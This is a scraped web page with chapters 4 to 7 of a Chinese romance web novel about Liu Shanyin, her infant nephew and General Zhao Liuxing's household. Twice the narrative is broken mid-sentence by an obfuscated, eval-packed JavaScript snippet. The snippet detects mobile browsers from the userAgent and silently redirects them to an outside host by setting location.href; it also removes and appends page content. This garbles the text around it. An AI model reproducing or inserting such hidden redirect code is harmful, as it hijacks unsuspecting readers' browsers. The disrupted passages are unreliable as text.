秦氏在黯淡的天光里望着赵留行离去的背影,心中虽有百般不服,却拿主家没有半点办法。 她敛去目光,一声冷哼便落了地。 - 柳善因蹲在里屋的坐榻前,观摩小侄子熟睡的样子。 她先是好奇地拉了拉孩子柔软的小手,又摸了摸他肉乎的小脚,欢喜的不得了,跟着垂眸盯着小侄子起伏均匀的肚子,她便不由得叹道:“小宝真乖,一路不哭也不闹,惯是睡大觉。现在好了,我们在赵赵将军这里,那些坏人找不到我们,再也不能欺负我们了。” “我呢,会一直保护小宝,地姥娘娘也请保佑我们小宝快快长大吧!” 话音落去,柳善因默默将脑袋抵在坐榻边上。 她将美好的祈愿送去远方,自己就这么歪头趴在愈渐昏暗的房间,不声不响。 她早已记不起,自己有多久未曾这么踏实过了…… “黑灯瞎火,怎么不点灯?” 外头那个刻薄的嗓音,打破了屋内原有的沉寂。 柳善因抬头瞧见今日进门后,那个和赵留行顶嘴的使人忽然出现在身旁,慌张地赶忙起身解释,“我,我不知道引火的东西放在哪,所以就没……” 说话间,秦氏掏出火折引燃案上灯盏,朝柳善因这边晃了两下。 她不说话,只一味地打量。 秦氏心有成见,自然先入为主。她暗骂:“蓬头垢面,灰头土脸,浑身的穷酸气,真不知是从哪跑出来的土包子!也够得上给赵家的郎君做正房?真是滑天下之大稽——他赵老三也是有病,怎么会有人放着金枝玉叶的郡主不娶,偏要和乡野丫头鬼混?当然护军府那一大家子也没跑。家里那么多郎君,怎么就拽着个赵老三不放?害得我也跟着遭殃,有病一个两个全都有病!” 瞧着秦氏平日受了不少夹板气,怨怼横生,竟一股脑全给骂了个遍。 她眼神中的敌意看得柳善因害怕。 柳善因哪里知道自己到底怎么得罪了她,自是也不敢多问,只得等着眼前人先开口说话。 秦氏骂完了,气也舒了。虽说她是不肯承认柳善因这凭白冒出的丫头,来当什么三少夫人,但碍着眼前人有子嗣傍身的份上,她还是不能轻易得罪。 她便重将灯盏搁下,轻言了句:“三郎君吩咐,要让娘子沐浴更衣,长夏已经在前院西边的房间候着了,娘子出院右转便是。” 柳善因听说是赵留行的吩咐,就没推拒。可她挂念着往坐榻瞧了瞧,“那小宝……” 秦氏白了柳善因一眼,转头去到桌前收拾起碗筷。她道:“娘子放心。既然这是我们三郎君的骨血,我们自会稳妥照应。不会懈怠。娘子该做什么,就做什么吧。” “出不了什么事。” 柳善因见她这样说,放下几分心来。 她还是跟往常一样规规矩矩地俯身,生怕给别人添麻烦,“那就麻烦您了,我一定快些回来。” 柳善因语毕一溜烟跑了出去,独独留下秦氏莫名其妙愣在原地。她挑起眉,思量在赵家为奴为婢了几十年,从也没人这样客气地跟她说过话…… - 柳善因慌慌张张去到西屋,刚想抬手叩门,就被里头人听见动静抢了先。名唤长夏的年轻女使,抬眼跟柳善因碰个正着。 她两眼弯弯看向门外略显拘谨的人,恭敬道了声:“您来了。” “长夏娘子,我……是那个…那个……叫我来的。”柳善因与眼前人猛然照面,有些紧张。 长夏却说:“夫人切莫唤我娘子,真是折煞。您唤我长夏就好。” 柳善因点头应了声好,就完全呆愣在了门外。 长夏瞧着她这副模样,忍不住发笑,可她并非嘲笑,单是觉得这突然冒出来的夫人可爱罢了。她转身让路,邀请柳善因进门,“夫人,水已备好,您进来沐浴吧。” 柳善因听着指令做事,生怕有半分差池。 她跨门来到浴池 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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柳善因趴在水边,欲言又止。 可她真的不能再这么泡下去了,只好硬着头皮说出自己的窘迫,“那个长夏……我这次出门匆忙,没有带换洗的衣裳。你能借我身衣裳穿吗?等我这身衣裳干了,我一定洗干净还给你!” “原是这样,我还以为是什么大事。当然可以。”长夏没去讥讽新夫人的窘迫,反倒是轻松地应下:“您稍等等,我这就去给您拿——” - 酉时末,柳善因穿着长夏的衣裳从西屋出来,连着给其道了好几声谢,谢的长夏都不知该如何是好了,“夫人夫人,真的没关系。夜里凉,您快回屋去吧,小郎君还在屋里呢。” 柳善因想起小宝点头道别,长夏站在廊下挥了挥手便转头回屋收拾而去。 西屋到寝屋的路,昏暗幽长。夹道尽是桃李。 柳善因就着月光瞧见一熟悉的强壮身影,欢喜着打算上前问候,却因披头散发把来人吓了一跳。 “嘶!大半夜披散着头发作甚——怪吓人的。”赵留行自外头归来,被突然乍现的“女鬼”吓得头皮发麻,面色瞬间变得难看。谁能想到他堂堂个宁远将军,会被吓成这样。 柳善因一听这话觉得自己闯了祸,乖乖垂头站在原地不敢靠近。 赵留行平复罢心情,转头看去那端不语的人,“不过长夏你来的正巧,你去准备一床干净的被褥送到里屋。” 长夏? 合着他是认错人了。 柳善因歪起头不明所以。碰巧这时长夏打西屋出来,她在瞧见赵留行后下意识道了声:“诶?三郎君,您回来了。” 赵留行闻之错愕回眸,头皮又是一阵发麻。 “长夏?” “你在这儿?那这是谁?” 总不能真是鬼吧—— 赵留行这会子哪里还敢回头?他是真怕碰上什么不干净的东西。柳善因却在对面撩起头发,露出那双明亮的杏眼略带歉意道:“赵赵将军,是我……” 5. 第 5 章 “小柳?”长夏在那头看得真切,赵留行当真一秒变了脸。 他茫然看向柳善因,“怎的是你?” 柳善因两步上前,一脸关切,“赵赵将军,是我吓到你了吗?抱歉,我不是故意,我只是想和你打声招呼。” 赵留行面对起眼前这个目光如泉水般清澈的女郎,又岂会轻易承认自己的胆怯?他将掌心的冷汗轻轻掩去背后,故作镇定道:“怎么会?我从不畏惧这些。” 柳善因闻言点头,心下的愧疚散去不少。 她附和了句:“当然,我就说赵赵将军是久经沙场的大将军,怎么会害怕呢。” 柳善因说罢冲着赵留行眯眼笑起,陌生的距离渐渐拉进。 赵留行却心有余悸, 勉强扯出一丝微笑,脊背寒意仍是未消。 长夏立在那端旁观者清,似是看戏般笑而不语。谁料她竟没憋住,叫赵留行听见她那三两声浅笑,转头便斥问了句:“不是叫你去准备?愣着作甚。” “我这就去。”长夏知晓三郎君那虎豹一样的脾气,赶忙告退免生事端。 柳善因在旁看着不敢插嘴,也不敢先行。 赵留行偏等长夏走出视线,才肯转眸同她搭话:“走了,回屋去。” 柳善因嗯了一声,抬脚追着赵留行而去。 寂夜无声,唯是墙角一抹红。路上斑驳的树影照在柳善因眉头,开出春花万重。 她与赵留行局促并肩,却只敢将目光安静落在自己的粗布鞋头。 彼之赵留行负手行路,未曾提及自己今日出门所谓何事,只是在走过院门时轻问:“你怎么穿着长夏的衣裳?” 柳善因没抬头,湿漉漉的头发垂落鬓边。 她下意识拿手拢了拢,“哦,是长夏娘子好心借我穿的。我这次出门除了小宝…什么也没带出来,所以就……” 赵留行没接茬。 他转眸看了柳善因一眼,又不知为何忽而大呼:“什么东西!”给柳善因吓了一激灵。 两个人差点没将彼此绊倒在小径上。 下一刻,柳善因小小的背影抵着赵留行高大的身躯,斗胆往他说的方向看去,竟是两眼茫茫。 “有,有什么东西吗?”柳善因迟疑着开口。 赵留行明明心有余悸,却为了不失自己在柳家妹妹面前的英武形象,眯眼透过柳善因圆圆的头顶往外瞧,居然发现是自己错将树杈看做罗刹,顿时颜面扫地。 他才刚想着怎么为自己找补,就听身前柳善因歪过脑袋冲他单纯道:“赵赵将军,你是在害怕吗?” “……” 赵留行的脸真是比那洛阳的城墙还要厚,他跟着抬起腿便抛下一句:“不,不曾。” - 屋里,秦氏倒也尽心,她自柳善因走后就一直守在坐榻边上没有离开。她左等柳善因不见,右等赵留行不归,急得想去趟茅房的功夫也无。 这会儿瞧见两人前后脚进了屋,秦氏不免白了一眼过去。 她几步走到赵留行面前,躬身道了句:“既然三郎君回来了,老奴就先告退。”便掩着肚子匆匆跑开。 赵留行无言回首,还没搞清楚状况。 秦氏就被后来的柳善因挡住了去路。柳善因抬头撞上秦氏,下意识开口道谢:“不好意思,麻烦您在小宝身边守了这么久,小宝没有闹人吧?” 秦氏现下腹中翻涌,望着柳善因的眉眼更是拧作一团,怎么还能顾得上同眼前人废话。 她便打算自行绕开。 柳善因不明所以,但还是抬脚为其让路。 哪成想,路偏越让越乱,俩人左右忙活半晌,最后竟落得个面面相觑的下场。秦氏眼看出恭之事迫在眉睫,无奈当着赵留行的面扒开眼前人扬长而去,留下柳善因兀自茫然。 秦氏走了,赵留行也累了。 他刚想落座倒茶,一股浓郁的气味就在屋内骤然炸开。 赵留行眉头一紧,霎时从桌前弹起出逃。 柳善因反应总是慢上半拍,直到闻着味道干呕一声,这才匆匆追出屋外。 后来,等长夏抱着被褥哼着小曲迈进院中,却见主家两个双双沉默立在门廊。 长夏纳闷。可抬眼望着屋门大开院中如旧就没去在意,她三两步轻快走过二人身旁,“诶?三郎君和夫人怎么在屋外站着?是在赏月吗?三郎君和夫人还真是好雅兴呀!我把被褥给二位拿来了,都是我前些日子刚晾过的。若是薄了厚了,二位随时吩咐,我再去给二位拿新的——不对,今日的月亮也不圆啊……?” 长夏自说自话,没等柳善因开口劝阻就自顾自跨过了门。 柳善因慌张转头,赵留行却是一脸看戏模样,“你莫管她,她自己会出来。” 果不其然,言落人出。 未过三秒,方才还悠然自得的屋内人,就抱着被褥落荒而来,回到了俩人面前。长夏不由惊愕大呼:“呸呸呸,我的天啊——是小郎君闹肚子了吗?!” “爹娘”两个见状相视一笑,谁也没去拆穿秦氏的难堪,只嗯了一声作罢。 这锅就暂且给小宝背一背吧,谁叫他还不会说话。 - 折腾了这么一圈,赵留行已是困得睁不开眼。 柳善因坐在小宝身旁不解这孩子怎么睡到现在也没醒,可摸来摸去,也摸不出个所以然。 她转眸瞧见赵留行抱起铺上的被褥自觉铺在地上,赶忙起身与之说:“赵赵将军,我还是带着小宝到别处去睡,若是实在没有房间的话,柴房我们也住得。” “哪有夫妻分开睡的?”赵留行说话的方式还是那么直白,叫柳善因一时语塞。 他大抵是察觉到自己说错了话,立刻往回找补,“我没有别的意思,只是那秦氏就是那边派来监视我的。咱们若是第一晚就分房睡,她定会到赵家那边添油加醋一番,到时候又是麻烦。” 赵留行铺好床,一屁股坐在了地铺上。 他为了避嫌故意与柳善因离得远远,一个在东头,一个在西头。 两人对上眼时,赵留行又嘱咐:“你睡时记得将那边的帘子放下。” 柳善因点点头,她晓得赵留行虽然脾气怪了点,但绝对是个正人君子。然她也并非是担忧他的人品,若真的担忧这些她便也不会来,她只是实在不好意思让人家堂堂一个将军睡在地上。 “小柳若无事,你也早些睡吧。”赵留行抖了抖被子,打算就寝。 柳善因却忽然不吭不响上前,一把拽住 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若是违背了当初给柳徽的承诺,他倒是怕柳徽大半夜的来寻他。可柳善因却当了真,瞧她欣然应允,俯身帮赵留行掖好被角,就等着明日换自己睡在地上。 “那今日就委屈赵赵将军了。” 柳善因蹲在赵留行面前眨眨眼,赵留行尴尬地往后让了让。他想开口让柳善因回到西边去,却被柳善因打断道:“赵赵将军你不脱了衣服再睡吗?” 赵留行咧了咧嘴,心想:你就这么看着?就是你敢看,我亦不敢脱…… 柳善因全然没有想到这一茬,她只想瞧瞧自己能不能帮得上忙。很显然,也帮不上。赵留行开口解释说:“不了,行军打仗常常以防万一,和衣而眠。习惯了,这毛病改不掉了。” “小柳,你没什么事也回去休息吧。” 柳善因点点头,不再推拒。 她跟赵留行道了声好眠,就转头回到了西面的床铺前。 赵留行亦转过身,和衣而眠。 屋内又落入夜的深沉,柳善因蹑手蹑脚取下布帘上的挂钩打算就寝,怎料仿若冬眠了一整个冬天的娃娃,竟在布帘落下前苏醒,嚎啕大哭起来。 这一声啼哭来的毫无征兆,哭得柳善因慌慌忙忙。她速速上前查看,一是害怕小宝有事,二是担心打扰赵留行休眠,“哦哦我们小宝这是怎的?怎的哭成这样?” 赵留行堪堪睡着闻声不语,他以为孩子单是跟今日在门外那般,哭上一会儿就会止息。 哪知道哭了半晌也不见停。 困意在眼皮里打转,很久之后,赵留行无奈捂着脑袋从地铺上愤怒着醒来。 他问:“大半夜,他哭什么?” 柳善因抱着孩子坐在床边轻声作答:“小宝半日多水米未进,应是饿了……” 赵留行便又言,“饿了,那就喂啊。” 柳善因却磕磕巴巴气急道:“我,我,我也想喂。可我……没奶啊——” 此话一出,屋内一片死寂。 没人再敢多说一句话,只见西边的娘憋红了脸,东边的爹翻下了床。 今夜啊,也注定无眠。 6. 第 6 章 屋门吱呀转,娃娃哭的叫哇哇, 举目可见里头爹娘两个手足无措的窘迫相。 柳善因左右无计可施,便顾不上适才的羞臊抱着小侄子在屋内来回踱步。 赵留行则二话没说出跨出了门。 柳善因听见动静打眼瞧着廊外黑洞洞,忍不住去问:“赵赵将军这么晚了,你这是……” 赵留行的背影在将要燃尽的廊灯下飘忽,尽管他早已疲惫不堪,却还是强硬担着身上那份责任。他哑声说:“总不能叫孩子饿着,我去寻个乳娘回来。” 此刻,当这句话轻飘飘落下,柳善因心中的那块黯淡似是被照亮了般,她没再慌张,也不曾推拒什么,只轻轻道了声:“那便麻烦将军了。” “无妨。”赵留行故作潇洒,快步没进了长夜漫漫。 直到立在门外,现实的死寂却给了他致命一击。赵留行望着空无一人的长街茫然四顾。 彼之,一阵晚风吹过,撩起他单薄衣衫更显凄凉。 他适才话说得倒是好听。 可他个甚至不愿意大半夜去敲秦氏和长夏房门的男人,到底要怎么寻个乳娘回来? 赵留行犯了难。 只是这门都出了,他今晚就是睡大街,也绝不能现在就回头去。于是乎,赵留行在外头思来想去,索性决定先去把风听和吾雷那两个小子拉起来再说—— - 赵留行走后,柳善因站在屋内冲外头看了许久,明明廊外人已经走远,她却迟迟挪不动步子。 恍惚一瞬,她好似在赵留行身上望到了阿兄的影子。 那种只有阿兄能带给他的安稳,她第一次在另一个人身上感受到。她不明白自己缘何会有这种错觉,亦或是……自己从来能得到的只有别人的索取,没有半分尊重可言。 烛火摇曳,晚风用青丝模糊了柳善因的眉眼。 她垂下眸,将手中孩子轻轻晃,她说小宝,“咱们再耐心等待等待,好不好?” - 戌时末了,赵留行的寻找实在太过漫长,孩子这么哭下去也不是办法,柳善因总不能就这么干等着乳娘的来到,她想没有奶水,就先给孩子弄点米汤润润喉也好。 柳善因说干就干,一个人抱着孩子找找寻寻,最终寻到了后院的厨房打算自己动手。 但是都这时辰了,厨房的灯怎么还亮着? 柳善因好奇地从门外张望,正瞧见一厨娘在灶台前鬼鬼祟祟的烧饭。 这么晚府中还有人吃饭吗? 柳善因觉得奇怪,但她没功夫去考虑这些无关紧要的事,眼下的当务之急,是给小侄子喂点东西。 柳善因抬脚刚想登阶问候。 厨娘就在灶火的噼啪里隐约听见几声飘忽的婴儿啼哭,瞬间毛骨悚然,大半夜的闹鬼吗——厨娘此刻跟炸了毛似的随手抄起面杖,哆哆嗦嗦挪去了门前。 下一秒,鼓起勇气闭眼痛击声音来源,面杖哐当一下就砸中了柳善因的脑门。 这力道不大不小,砸得柳善因懵得刚刚好。 “哎呦,好痛好痛好痛。” 是活人的声!? 厨娘赶忙睁开眼,上下一扫眼前这被自己痛击的娇小女郎,彻底傻了眼,这一下比遇见鬼还可怕,她竟把主家的人给打了,她这好不容易寻到的差事还保不保了? 厨娘赶忙笑脸相迎,“您…您是新来的……夫人?” “不管我是谁,你,你也不能打我啊!”柳善因有些委屈。 厨娘惶然收起犯事的面杖,试图掩饰尴尬,“不好意思夫人,真的不好意思。这时辰我听见外头有动静,还以为遇着坏人了。我不是故意去砸您的。我若知道是您,就是把我自己拍晕,也不敢动您分毫。您大人有大量饶了我,不行您就也给我一面杖,可千万别让将军赶我走啊——” 柳善因饶是被邻里偷了锄头都不敢上门讨要的主,这点事她怎么会计较。 她只暗自懊恼着,在厨娘面前腾出一只手揉了揉受伤的脑袋。 厨娘见柳善因不说话,低眉试探了句:“夫人,这么晚了,您抱着小郎君来这儿,小郎君还哭成这样……是有什么事吗?若是我能帮上忙的,您尽管吩咐。” 柳善因一听厨娘开口,终于想起正事来,她随即应声说:“哦,我来是想熬碗米汤。” “米汤?”厨娘疑惑不解,“您想喝怎么不让长夏娘子传声话过来,何必自己亲自跑一趟呢?” 柳善因紧紧抱着小侄子,有些难以启齿。她低下头小声答曰:“不是我喝,是他……” 厨娘歪起头,顺嘴说了句:“小郎君?他不该喝奶吗?” “……” - 这事柳善因花了好大功夫才跟厨娘解释明白,语毕厨娘盯着她平坦的胸膛看了半晌,最后还自顾自地点点头,那意味深长的眼神,叫柳善因不觉驼了驼背。 她想说些什么,但又实在羞得不行难以开口。 厨娘却移开视线望去门外,似乎并没打算去熬什么米汤。 她思量着说:“小郎君喝点米汤怎么行?总得喝点有营养的东西,既然您奶水不够,我记得东边的那户人家前日刚买了只下崽的山羊。咱们去讨些羊奶不就行了!” 厨娘灵机一动,站起身就要开干,惊得柳善因抬手阻拦。 柳善因不似厨娘大大咧咧,她有自己的顾虑重重。她说:“这么晚去打扰人家是不是不太好,再说赵赵将军已经去找乳娘了,我们还是别——” 谁料厨娘压根没等她把话说完,已急匆匆到了门外,还跟她挥手作了别,“哎呀,夫人您就把心放肚子里,这事包在我身上。咱去去就回。” 柳善因哪里好意思人家一人前去,便只好硬着头皮跟了上去,并暂时放弃了那锅米汤,扭头寻羊奶而去。 - 后门打开,厨娘见主家跟了上来,也没多说什么。 厨娘一看就是个直爽性子,瞧她健步如飞。 柳善因在后头似追似赶,这才勉强跟她齐头并进。她看眼前人对自己的事这样上心,也就忘却了她刚才痛击自己的那档子事,转头记下了她的好。 柳善因问厨娘,“我还不知道该怎么称呼你?” 厨娘侧目,“夫人叫我土酥就好。” 柳善因眨眨眼,“土酥?是萝卜的那个意思吗?” “是了。”厨娘撇撇嘴,“我姓白,名唤白土酥。以前女学里的那些家伙们,都叫我白萝卜。都怪我那吝啬老爹,他非说萝卜省钱,物美价廉,以后好养活。结果让我生生被笑话了十几年,真是烦死人了。夫人呢?夫人的爹有没有给您起个好听的名字?” 柳善因如实答曰:“我叫柳善因。” “善因,好好听的名字。夫人的爹真好。”厨娘无意闲谈。 柳善因却嗯了一声,就此无言。 东边的人家不远,但因着天黑,两人也是走上了一段距离。 路上边走,柳善因边嘀咕着待会到邻居家叩门后,应当怎么好声言语请求,若是人家轰赶她们,她们又该如何应对。如此周全周全,柳善因心下总算有了几分底气。 等二人到了门前,柳善因刚想缓口气,土酥就以迅雷不及掩耳之势敲了门。 她倒抬手敲得肆无忌惮,柳善因是生怕待会儿她们被对方打出来。 谁成想,当一位老翁披衣启门,土酥二话不说就喊了声爹,搞得柳善因脑子一懵,居然鬼使神差地也跟着喊了声:“爹,…?” “夫人这就是我那爱财如命,分斤掰两,瘠人肥己的爹,您叫什么啊——”土酥茫然望身后人百思不得其解吗,却不忘把老爹骂个遍。 要不说有其父必有其女。 老翁也没示弱,他在迷迷糊糊瞧清来人是自家那疯丫头之后,根本不容门外人多言,哐当一声关上了门。 土酥回过头,没能抢在关门前挤进去。 她便立刻贴在门上哭喊道:“爹,你得帮帮我啊。这是我们主家交代给我的差事,我迫不得已才来咱家的。这事要是办不好,我可就要被主家撵出来了。这我要是被撵出来,闺女就只能再回咱家的酒楼做工了——爹也不想闺女落得这样的下场吧。” 柳善因闻言瞠目而望。 她不明白土酥家既然住着这么豪华的宅子,甚至还有座酒楼,为什么还要在将军府做个伺候人的厨娘? 一切答案都是后话,土酥没工夫解释,只是一味地请求院内人。 可这些话似乎拿捏住了老翁,他竟在门里直言:“疯妮子,就知道惦记家里的东西,你又要啥!” “就要点羊奶喂孩子。”土酥见好就收,也不管里面人如何说他。 话落声息,柳善因只能听见门内轻微的脚步声,和怀中小宝哭累后的喘息。她问土酥,“这样能行吗?是不是太打扰令尊了,我身上也没带银两,要不然就先拿我的银镯子抵了?” 土酥摆摆手,忙说:“没事夫人,这铁公鸡的东西不要白不要,您只要不怨我适才冒犯打了您就行。” 柳善因笑着应了声:“不碍事的。” 说 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“是,我饭量是大了些,但我活也没少做啊。他赶我,叫我去对面的酒楼祸祸他们去。好,我去了。但是没做半个月,人家竟然也叫我去对面酒楼祸祸他们去。” “一个两个都这样,索性我就自己找工,然后就正巧碰到将军这里招厨娘,这一干就是半年,将军从来没有嫌我吃的饭多。因为他从来不过问府中的事,出手也特别阔绰,就好像有钱没地花一样。不像我那一根人参须都要分八次喝的爹。” 土酥说得起劲,全然忘记自己在同将军的枕边人讲话。 完了,全完了。 土酥察觉到不对,赶忙拍了拍自己的嘴巴,“夫人,您不会到将军那去告我的状吧……我吃得是多了那么一点点,但我保证,我真的很用心的在干活!” “不会不会,你今天帮了我,我不会恩将仇报的。”柳善因摇摇头,她想一个小女郎能吃多少?左右都是他们欺负人,说浑话,不能作数当真。 可直到回到厨房瞧见,灶台上炖着一整只被土酥拿来夜宵垫肚的肥鸡,柳善因却彻底陷入沉默。 原来,那些人说的也不全是假话啊。 - 两个人分别在子时刚过一刻,小宝吃过煮沸的羊奶,总算是安稳睡下。柳善因也早已困得睁不开眼,她抱着小宝回到寝屋,转头就倒在铺上一觉睡到天亮。 天刚破晓,辛辛苦苦出门寻觅一夜的赵留行,终在卯时初踏进了家门。 他走路时两条腿都在打颤,两个眼睛亦是看哪都重着影。前日宫中值夜,昨晚一夜未眠,饶是再好的身体也吃不消。 乳娘跟在后头瞧着主家这副模样,想扶又不敢扶,只能保持距离跟着。 进院之前碰上长夏出门洒扫,她瞧见赵留行顶着厚重的黑眼圈似个罗刹行来,免不了一阵大呼:“妈呀,吓死我了。将军昨晚上叫阎王爷抓去当小鬼了?面色这么难看!” 赵留行现下脑子困得迷迷糊糊,压根没工夫跟长夏掰扯。 他忍着如潮水般将要淹没他的睡意,随手一指身后,又给长夏派了个活干,“去,去,这是新招的乳娘…你去给人安排个住处,预支一个月工钱……收拾收拾,就来给孩子喂奶。” “我不行了,我先回屋……” 长夏闻言瞧了赵留行身后人一眼,心想这人原是给孩子寻乳娘去了,平日里还真是错看他们这心如铁石的将军了,当起爹来还挺像回事。 “是,交给我吧。” 长夏躬了身,目送着赵留行留下乳娘独自远走。 - 赵留行踉踉跄跄跨进屋门,脑子早已糊涂不清,他还当自己是个单身汉子,随手将鞋袜衣衫脱了满地,拨开床帘扑在床上倒头就睡。 哪知道正正好压在了那仰面打呼的人身上。 柳善因自梦中忽觉被压泰山之下,难以呼吸,未曾料睁开眼时竟被赵留行重重压着。她慌忙想将人推开,却察觉自己根本使不上劲,忙活半天只落得个气喘吁吁。 两刻不到,乳娘喂奶而来,但见屋门半开怕有所惊扰,打算叩门询问。 只是堪堪将手抬起,乳娘便打眼瞧见屋中衣衫狼藉,又赶忙将手收了回去。 她终究是过来人, 转眸察觉那端床帐微动,还有声声浅喘。 顿时羞涩。 她嘀咕:大户人家奔放至此?大白日也不避人,这孩子到底喂还是不喂…… 正当乳娘左右不定之际,屋内偏传来柳善因羞愤的一句:“赵赵将军快起来,你压到我了——” 7. 第 7 章 榻上的男人似是觉得身下硌得慌,迷迷糊糊翻了身,仰面睡在了柳善因的身旁。 柳善因推开赵留行落在自己腰上的手臂,噌的一下就从床上坐了起来。她没去责怪赵留行的冒昧,她明了他的疲惫。况且,自己现在是寄人篱下,就算真有什么……为了小侄子也得忍下去。 她有那自知之明。 柳善因坐在床边望着满地的衣物,没多在意门外的动静,只默默弯腰带着凌乱的发髻去整理起地上的狼藉。可等她顺着衣物散落的方向来到门前抬头一瞧,这才发觉门外的人正将她相望。 那表情耐人寻味,叫柳善因立刻会意,她抱着赵留行的衣裳急忙解释道:“不不不,不是你想的那样子。” 乳娘却识相地没有接过她的话茬,“夫人,我来喂小郎君。” 柳善因闻言赶忙应声:“哦好,那您稍等等,我把东西放了就抱小宝出来。” 乳娘垂了眸。 柳善因赶忙转头将衣物放好,抱着小侄子蹑手蹑脚走了出去。 今朝春光明媚,院中风光正好。 柳善因衣袂飘飘,行过石子小径,扫起春风,又送走落红。 小侄子醒来时没哭没闹,他探着小脑袋在柳善因的怀里张望,还时不时发出咿呀的声响。柳善因听见动静低头瞧,充满慈爱地说道:“我们小宝醒了,知晓该吃奶了?” 乳娘住在长夏隔壁,他们几人来时,长夏刚收了柳善因的衣裳打算送去,“夫人来得正巧,您的衣裳我给您晾晒好了,我还说连带着早饭给您一块送去呢。” 长夏还是一如既往地热络。 乳娘见状从柳善因怀里接过小郎君,就打算进屋去了,“夫人,我去喂奶。” 柳善因点点头,“那就麻烦您了。” 回头跟长夏对上眼神,柳善因压根没拿自己当什么将军夫人,又怎么好意思劳烦和差使别人?她便说:“没事的,这衣裳等待会儿小宝喂完奶,我一并带回去就好,免得你跑一趟。还有长夏娘子你的衣裳,我今儿下午就给洗出来,明早一定归还。” “不急,您把衣裳换了,我自己来洗就好。”长夏摇了头,温柔望向柳善因,她倒是挺喜欢这个新夫人的。 不端着,不拿着,身上有活人气儿。 哪里跟护军府的人一样,从上到下,但凡是手里沾点权啊,利啊,就恨不能上了天去。 她秦氏就是其一。 长夏举目瞧见柳善因凌乱的发髻,顺手将人推去了边上的石案旁,“夫人坐着,我先替您将发髻挽了,再去给您打些水来洗漱洗漱。将军这会子是不是在屋里睡着?” “今儿天气清爽,不若我一会儿将早饭给您拿到这儿来用?” 柳善因不习惯被人伺候,可她逃不脱长夏的盛情,只得乖巧坐在石凳上任由长夏摆弄自己的头发。随之将两只手按在膝头,柳善因低眉应了声:“好,长夏娘子安排便是。” 长夏却顺起手中柔软的长发,眯眼笑道:“夫人又忘了,不可再唤我娘子了。” - 晌午在前院用过早饭,柳善因怕打扰赵留行睡觉就再没回到寝屋去。眼下巳时过半,她和乳娘带着小侄子坐在廊前晒暖,长夏则被秦氏急匆匆地唤走不知作甚去。 乳母是个话不多的。 可在相处之间,她还是忍不住跟柳善因提及了昨晚的事。 “夫人。”乳娘轻唤。 这声称呼尽管对于柳善因来说还是那般陌生,但她竟下意识抬起头。乳娘见状扯了扯小郎君的衣角道是:“您真是嫁对了人。” 柳善因茫然相对,眼前人冷不丁说上这么一句,真是叫她不知该如何作答。 她只能尴尬的赔笑,生怕漏出丝毫破绽。 乳娘却继续道:“我从未见过像将军这样能不顾体面,亲自替孩子寻乳娘的男人。您不知昨晚上将军为了给小郎君寻个乳娘,领着两个部下满大街找牙人开的铺面。” “可惜去的时辰不对,他们三个大男人愣是在街上等到寅时开市,才匆匆通过牙人找到我。” “我其实是定好了人家的,若不是我家急着用钱,将军应我提前预支工钱,我大抵是不会接了这份活。所以我才说,夫人真是嫁了个愿为你上心的好男人。一辈子若能遇见这么个人,还能有什么撼呢?夫人不像我,夫人是个有福气的。” 乳娘眼神中流漏出的羡慕之意,叫柳善因羞愧不已。 她忽而沉默了。 是啊,像赵留行这般样样出挑的郎君,在他们兰花村十里八乡都寻不到一个,若这辈子能碰上并与之相守一生,当然是天大的好事。可柳善因不糊涂,更不贪心。 她清楚的明白,自己只是暂时偷走这个位置。 他们压根就不是一个世界的人。 柳善因只希望在分道扬镳之后她和小侄子能活下去,赵赵将军能够幸福,这就够了。 想到这儿,柳善因的眼眸又开始变得明亮,她髻上的红绫向南飘了飘,“是的,赵赵将军是个很好的人。” 乳娘不语,却望着主家莞尔笑起。 气氛堪堪融洽,风云又起,长夏气喘吁吁打府外跑来,一脸焦急。她顾不得体统大呼:“夫人,大事不好,大事不好。” 柳善因不知所云,转眸回问:“怎么了?出什么事了?” “那边…那边派人问罪来了……我去唤将军起床。您,您快去后头避避。”长夏匆忙来到柳善因面前,却还是晚了一步。她的话音落时,一群气势汹汹的人已经来到了身旁。 长夏知晓护军府的手段和狠劲,便不得不暂时舍弃柳善因,于人群中悄然溜走。 柳善因起身茫然四顾,她并不明了来者何人。 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15105985|163873||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只瞧见秦氏站在他们之中正将她打量。 柳善因察觉危险靠近,下意识将小侄子和乳娘护在身后。她其实很怕,她发怵于他们那一双双鄙夷的目光,却为了小侄子不肯退缩。 柳善因小声告诉乳娘,“麻烦您带小宝进屋去。” 乳娘倒也机灵,掉头回屋立刻上了锁。小侄子似是察觉与小姑分离,忽而在屋内大哭起来。 可门外的众人对于孩子的啼哭漠不关心,唯柳善因一人心焦而已。 “这就是蛊惑三郎的野丫头?”秦氏身边领头的年长老嬷开了口。她一个使人婆子,通身的好绫罗,满头的金银钗,看着就非比寻常。 柳善因生于兰花村,长于兰花村,何时见过这么大的阵仗? 她听见眼前人的羞辱,竟是一句话也不敢反驳。 秦氏受命于护军府,自然唯护军府是从,她望着柳善因躬身同身边人道了声:“正是。”便是这一句正是,引得老嬷挥手下令,“把她给我拿了。” 他们仿若就是冲柳善因来的。 - 前院乱哄哄,长夏适才偷溜,就是为了抢先一步过来通风报信。 谁成想,她慌张张跨进门,赵留行这当事者还在屋里睡得正香。长夏生怕出什么祸端,赶忙扯着嗓子大呼:“将军将军,别睡了。那边的都打上门了,您怎么睡得着的——” 怎么睡得着的?两宿没睡,换她也是这般。 赵留行睡得太死, 长夏初唤无果,急的团团转。 她明了外头的凶神恶煞可不等人,便只好使出那招…… 但闻长夏前一秒,刚掀起床帘道出一句:“冒犯了将军。” 下一秒,伸出的重拳就狠狠落在了赵留行身上。 